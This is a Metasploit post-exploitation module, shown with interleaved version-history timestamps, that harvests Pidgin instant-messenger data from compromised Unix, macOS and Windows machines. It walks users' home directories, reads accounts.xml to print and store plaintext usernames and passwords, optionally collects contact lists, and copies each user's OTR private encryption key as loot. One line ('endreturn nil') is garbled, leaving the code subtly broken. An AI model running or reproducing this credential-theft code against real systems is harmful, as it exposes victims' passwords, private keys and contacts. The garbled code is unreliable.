2011-03-01 04:02:54 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-03-01 04:02:54 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'rexml/document'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Post
|
2011-03-01 04:02:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info(info,
|
|
|
|
'Name' => 'Multi Gather Pidgin Instant Messenger Credential Collection',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will collect credentials from the Pidgin IM client if it is installed.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'bannedit', # post port, added support for shell sessions
|
|
|
|
'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script
|
|
|
|
],
|
2013-09-24 17:33:31 +00:00
|
|
|
'Platform' => %w{ bsd linux osx unix win },
|
2013-08-30 21:28:54 +00:00
|
|
|
'SessionTypes' => ['shell', 'meterpreter' ]
|
|
|
|
))
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]),
|
|
|
|
# Not supported yet OptBool.new('LOGS', [false, 'Gather log files?', false]),
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2011-03-01 04:02:54 +00:00
|
|
|
|
|
|
|
# TODO add support for collecting logs
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
paths = []
|
|
|
|
case session.platform
|
2016-10-29 04:59:05 +00:00
|
|
|
when 'unix', 'linux', 'bsd'
|
2013-08-30 21:28:54 +00:00
|
|
|
@platform = :unix
|
|
|
|
paths = enum_users_unix
|
2016-10-29 04:59:05 +00:00
|
|
|
when 'osx'
|
2013-08-30 21:28:54 +00:00
|
|
|
@platform = :osx
|
|
|
|
paths = enum_users_unix
|
2016-10-29 04:59:05 +00:00
|
|
|
when 'windows'
|
2016-10-14 00:10:04 +00:00
|
|
|
@platform = :windows
|
2013-08-30 21:28:54 +00:00
|
|
|
profiles = grab_user_profiles()
|
|
|
|
profiles.each do |user|
|
|
|
|
next if user['AppData'] == nil
|
|
|
|
pdir = check_pidgin(user['AppData'])
|
|
|
|
paths << pdir if pdir
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_error "Unsupported platform #{session.platform}"
|
|
|
|
return
|
|
|
|
end
|
|
|
|
if paths.nil? or paths.empty?
|
|
|
|
print_status("No users found with a .purple directory")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
get_pidgin_creds(paths)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def enum_users_unix
|
|
|
|
if @platform == :osx
|
|
|
|
home = "/Users/"
|
|
|
|
else
|
|
|
|
home = "/home/"
|
|
|
|
end
|
|
|
|
|
|
|
|
if got_root?
|
|
|
|
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
|
|
|
|
userdirs << "/root\n"
|
|
|
|
else
|
|
|
|
userdirs = session.shell_command("ls #{home}#{whoami}/.purple")
|
|
|
|
if userdirs =~ /No such file/i
|
|
|
|
return
|
|
|
|
else
|
|
|
|
print_status("Found Pidgin profile for: #{whoami}")
|
|
|
|
return ["#{home}#{whoami}/.purple"]
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
paths = Array.new
|
|
|
|
userdirs.each_line do |dir|
|
|
|
|
dir.chomp!
|
|
|
|
next if dir == "." || dir == ".."
|
|
|
|
|
|
|
|
dir = "#{home}#{dir}" if dir !~ /root/
|
|
|
|
print_status("Checking for Pidgin profile in: #{dir}")
|
|
|
|
|
|
|
|
stat = session.shell_command("ls #{dir}/.purple")
|
|
|
|
next if stat =~ /No such file/i
|
|
|
|
paths << "#{dir}/.purple"
|
|
|
|
end
|
|
|
|
return paths
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def check_pidgin(purpledir)
|
|
|
|
path = ""
|
|
|
|
print_status("Checking for Pidgin profile in: #{purpledir}")
|
|
|
|
session.fs.dir.foreach(purpledir) do |dir|
|
|
|
|
if dir =~ /\.purple/
|
2016-10-14 00:10:04 +00:00
|
|
|
if @platform == :windows
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Found #{purpledir}\\#{dir}")
|
|
|
|
path = "#{purpledir}\\#{dir}"
|
|
|
|
else
|
|
|
|
print_status("Found #{purpledir}/#{dir}")
|
|
|
|
path = "#{purpledir}/#{dir}"
|
|
|
|
end
|
|
|
|
return path
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return nil
|
|
|
|
endreturn nil
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_pidgin_creds(paths)
|
|
|
|
case paths
|
|
|
|
when /#{@user}\\(.*)\\/
|
|
|
|
sys_user = $1
|
|
|
|
when /home\/(.*)\//
|
|
|
|
sys_user = $1
|
|
|
|
end
|
|
|
|
|
|
|
|
data = ""
|
2016-08-10 18:30:09 +00:00
|
|
|
credentials = Rex::Text::Table.new(
|
2013-08-30 21:28:54 +00:00
|
|
|
'Header' => "Pidgin Credentials",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>
|
|
|
|
[
|
|
|
|
"System User",
|
|
|
|
"Username",
|
|
|
|
"Password",
|
|
|
|
"Protocol",
|
|
|
|
"Server",
|
|
|
|
"Port"
|
|
|
|
])
|
|
|
|
|
2016-08-10 18:30:09 +00:00
|
|
|
buddylists = Rex::Text::Table.new(
|
2013-08-30 21:28:54 +00:00
|
|
|
'Header' => "Pidgin Contact List",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>
|
|
|
|
[
|
|
|
|
"System User",
|
|
|
|
"Buddy Name",
|
|
|
|
"Alias",
|
|
|
|
"Protocol",
|
|
|
|
"Account"
|
|
|
|
])
|
|
|
|
|
|
|
|
paths.each do |path|
|
|
|
|
print_status("Reading accounts.xml file from #{path}")
|
|
|
|
if session.type == "shell"
|
|
|
|
type = :shell
|
|
|
|
data = session.shell_command("cat #{path}/accounts.xml")
|
|
|
|
else
|
|
|
|
type = :meterp
|
|
|
|
accounts = session.fs.file.new("#{path}\\accounts.xml", "rb")
|
|
|
|
until accounts.eof?
|
|
|
|
data << accounts.read
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
creds = parse_accounts(data)
|
|
|
|
|
|
|
|
if datastore['CONTACTS']
|
|
|
|
blist = ""
|
|
|
|
case type
|
|
|
|
when :shell
|
|
|
|
blist = session.shell_command("cat #{path}/blist.xml")
|
|
|
|
when :meterp
|
|
|
|
buddyxml = session.fs.file.new("#{path}/blist.xml", "rb")
|
|
|
|
until buddyxml.eof?
|
|
|
|
blist << buddyxml.read
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
buddies = parse_buddies(blist)
|
|
|
|
end
|
|
|
|
|
|
|
|
creds.each do |cred|
|
|
|
|
credentials << [sys_user, cred['user'], cred['password'], cred['protocol'], cred['server'], cred['port']]
|
|
|
|
end
|
|
|
|
|
|
|
|
if buddies
|
|
|
|
buddies.each do |buddy|
|
|
|
|
buddylists << [sys_user, buddy['name'], buddy['alias'], buddy['protocol'], buddy['account']]
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
#Grab otr.private_key
|
|
|
|
otr_key = ""
|
|
|
|
if session.type == "shell"
|
|
|
|
otr_key = session.shell_command("cat #{path}/otr.private_key")
|
|
|
|
else
|
|
|
|
key_file = "#{path}/otr.private_key"
|
|
|
|
otrkey = session.fs.file.stat(key_file) rescue nil
|
|
|
|
if otrkey
|
|
|
|
f = session.fs.file.new(key_file, "rb")
|
|
|
|
until f.eof?
|
|
|
|
otr_key << f.read
|
|
|
|
end
|
|
|
|
else
|
|
|
|
otr_key = "No such file"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
if otr_key !~ /No such file/
|
|
|
|
print_status("OTR Key: #{otr_key.to_s}")
|
|
|
|
store_loot("otr.private_key", "text/plain", session, otr_key.to_s, "otr.private_key", "otr.private_key")
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
if datastore['CONTACTS']
|
|
|
|
store_loot("pidgin.contacts", "text/plain", session, buddylists.to_csv, "pidgin_contactlists.txt", "Pidgin Contacts")
|
|
|
|
end
|
|
|
|
|
|
|
|
store_loot("pidgin.creds", "text/plain", session, credentials.to_csv, "pidgin_credentials.txt", "Pidgin Credentials")
|
|
|
|
end
|
|
|
|
|
|
|
|
def parse_accounts(data)
|
|
|
|
|
|
|
|
creds = []
|
|
|
|
doc = REXML::Document.new(data).root
|
|
|
|
|
|
|
|
doc.elements.each("account") do |sub|
|
|
|
|
account = {}
|
|
|
|
if sub.elements['password']
|
|
|
|
account['password'] = sub.elements['password'].text
|
|
|
|
else
|
|
|
|
account['password'] = "<unknown>"
|
|
|
|
end
|
|
|
|
|
|
|
|
account['protocol'] = sub.elements['protocol'].text rescue "<unknown>"
|
|
|
|
account['user'] = sub.elements['name'].text rescue "<unknown>"
|
|
|
|
account['server'] = sub.elements['settings'].elements["setting[@name='server']"].text rescue "<unknown>"
|
|
|
|
account['port'] = sub.elements['settings'].elements["setting[@name='port']"].text rescue "<unknown>"
|
|
|
|
creds << account
|
|
|
|
|
|
|
|
print_status("Collected the following credentials:")
|
|
|
|
print_status(" Server: %s:%s" % [account['server'], account['port']])
|
|
|
|
print_status(" Protocol: %s" % account['protocol'])
|
|
|
|
print_status(" Username: %s" % account['user'])
|
|
|
|
print_status(" Password: %s" % account['password'])
|
|
|
|
print_line("")
|
|
|
|
end
|
|
|
|
|
|
|
|
return creds
|
|
|
|
end
|
|
|
|
|
|
|
|
def parse_buddies(data)
|
|
|
|
buddies = []
|
|
|
|
|
|
|
|
doc = REXML::Document.new(data).root
|
|
|
|
doc.elements['blist'].elements.each('group') do |group|
|
|
|
|
group.elements.each('contact') do |bcontact|
|
|
|
|
contact = {}
|
|
|
|
contact['name'] = bcontact.elements['buddy'].elements['name'].text rescue "<unknown>"
|
|
|
|
contact['account'] = bcontact.elements['buddy'].attributes['account'] rescue "<unknown>"
|
|
|
|
contact['protocol'] = bcontact.elements['buddy'].attributes['proto'] rescue "<unknown>"
|
|
|
|
|
|
|
|
if bcontact.elements['buddy'].elements['alias']
|
|
|
|
contact['alias'] = bcontact.elements['buddy'].elements['alias'].text
|
|
|
|
else
|
|
|
|
contact['alias'] = "<unknown>"
|
|
|
|
end
|
|
|
|
|
|
|
|
buddies << contact
|
|
|
|
print_status("Collected the following contacts:")
|
|
|
|
print_status(" Buddy Name: %s" % contact['name'])
|
|
|
|
print_status(" Alias: %s" % contact['alias'])
|
|
|
|
print_status(" Protocol: %s" % contact['protocol'])
|
|
|
|
print_status(" Account: %s" % contact['account'])
|
|
|
|
print_line("")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
return buddies
|
|
|
|
end
|
|
|
|
|
|
|
|
def got_root?
|
|
|
|
case @platform
|
|
|
|
when :windows
|
|
|
|
if session.sys.config.getuid =~ /SYSTEM/
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
else # unix, bsd, linux, osx
|
|
|
|
ret = whoami
|
|
|
|
if ret =~ /root/
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def whoami
|
|
|
|
if @platform == :windows
|
2013-12-19 01:43:59 +00:00
|
|
|
session.sys.config.getenv('USERNAME')
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
|
|
|
session.shell_command("whoami").chomp
|
|
|
|
end
|
|
|
|
end
|
2011-03-01 15:14:49 +00:00
|
|
|
end
|